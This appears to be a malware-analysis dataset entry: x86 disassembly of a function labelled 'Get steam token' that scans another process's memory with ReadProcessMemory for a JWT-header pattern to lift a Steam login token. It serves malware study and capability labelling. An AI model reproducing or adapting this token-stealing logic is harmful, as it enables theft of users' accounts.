Function at 0x422350
Capabilities:
Get steam token

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
xor esi, esi
push str.65_79_41_69_64_48_6C_77_49_6A_6F_67_49_6B_70_58_56_43_49_73_49_43_4A_68_62_47_63_69_4F_69_41_69_52_57_52_45_55_30_45_69_49_48_30
mov dword [ebp - 0x24], esi
call dword [sym.imp.msvcrt.dll_strlen]
mov ecx, eax
mov eax, 0xaaaaaaab
mul ecx
shr edx, 1
inc edx
movzx eax, dx
movzx ebx, ax
mov dword [ebp - 0x14], eax
xor ecx, ecx
mov eax, ebx
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call dword [sym.imp.msvcrt.dll_void____cdecl_operator_new___unsigned_int_]
push eax
mov dword [ebp - 8], eax
call fcn.00422190
mov edi, dword [ebp + 0x18]
or eax, 0xffffffff
movzx edx, ax
mov eax, edx
shl edx, 0x10
or eax, edx
mov ecx, 0x82
rep stosd dword es:[edi], eax
add esp, 0xc
xor eax, eax
test ebx, ebx
jle 0x4223d3
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp - 8]
movzx edx, word [edx + eax*2]
mov word [ecx + edx*2], ax
inc eax
cmp eax, ebx
jl 0x4223c3
mov edi, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push 0x1c
lea eax, [ebp - 0x44]
push eax
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test eax, eax
je 0x42258e
nop
mov eax, dword [ebp - 0x30]
cmp eax, 4
je 0x422401
cmp eax, 0x40
jne 0x422555
mov eax, dword [ebp - 0x38]
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], eax
cmp eax, 0x64000
jb 0x4224fb
mov dword [ebp - 0xc], ecx
jmp 0x422423
mov edi, dword [ebp + 0xc]
mov eax, dword [ebp - 0xc]
cdq
add eax, edi
adc edx, dword [ebp + 0x10]
push 0
push 0x64000
mov dword [ebp - 0x18], edx
mov edx, dword [ebp + 0x14]
push edx
push eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x4224db
xor esi, esi
xor eax, eax
test ebx, ebx
je 0x422485
mov edx, esi
cmp edx, 0x64000
jae 0x422485
mov ecx, dword [ebp - 8]
mov edi, dword [ebp + 0x14]
movzx ecx, word [ecx + eax*2]
movzx edi, byte [edx + edi]
cmp cx, di
je 0x42247f
mov edi, 0x100
cmp cx, di
jne 0x422485
inc eax
inc edx
cmp eax, ebx
jb 0x42245a
cmp eax, ebx
je 0x4224c9
lea edx, [ebx + esi]
cmp edx, 0x64000
jae 0x4224db
mov ecx, dword [ebp + 0x14]
lea eax, [ebx + esi]
movzx edx, byte [eax + ecx]
mov ecx, dword [ebp + 0x18]
movsx eax, word [ecx + edx*2]
cmp eax, 0xffffffff
jne 0x4224b9
movsx eax, word [ecx + 0x200]
mov ecx, ebx
sub ecx, eax
add esi, ecx
jmp 0x4224bf
mov edx, ebx
sub edx, eax
add esi, edx
cmp esi, 0x64000
jb 0x422452
jmp 0x4224db
xor edx, edx
add esi, dword [ebp - 0x1c]
adc edx, dword [ebp - 0x18]
mov eax, esi
or eax, edx
jne 0x42259e
mov eax, dword [ebp - 4]
inc dword [ebp - 0x10]
add dword [ebp - 0xc], 0x64000
sub eax, 0x64000
mov dword [ebp - 4], eax
cmp eax, 0x64000
jae 0x422420
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
imul eax, eax, 0x64000
cdq
push 0
mov esi, eax
add esi, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov edi, edx
mov edx, dword [ebp + 0x14]
adc edi, dword [ebp + 0x10]
push ecx
push edx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x42252f
xor esi, esi
mov dword [ebp - 0x24], esi
jmp 0x422555
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp - 4]
push ecx
mov ecx, dword [ebp - 8]
push edx
push eax
push edi
mov edi, dword [ebp - 0x14]
push esi
push ecx
call fcn.004222b0
add esp, 0x18
mov esi, eax
or eax, edx
mov dword [ebp - 0x24], edx
jne 0x42259e
mov edi, dword [ebp + 0xc]
add edi, dword [ebp - 0x38]
mov eax, dword [ebp + 0x10]
adc eax, 0
mov dword [ebp + 0xc], edi
mov dword [ebp + 0x10], eax
cmp eax, 0xfff
ja 0x4225a7
jb 0x422575
cmp edi, 0xffffffff
ja 0x4225a7
mov edx, dword [ebp + 8]
push 0x1c
lea ecx, [ebp - 0x44]
push ecx
push edi
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test eax, eax
jne 0x4223f0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.msvcrt.dll_void___cdecl_operator_delete___void__]
mov edx, dword [ebp - 0x24]
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret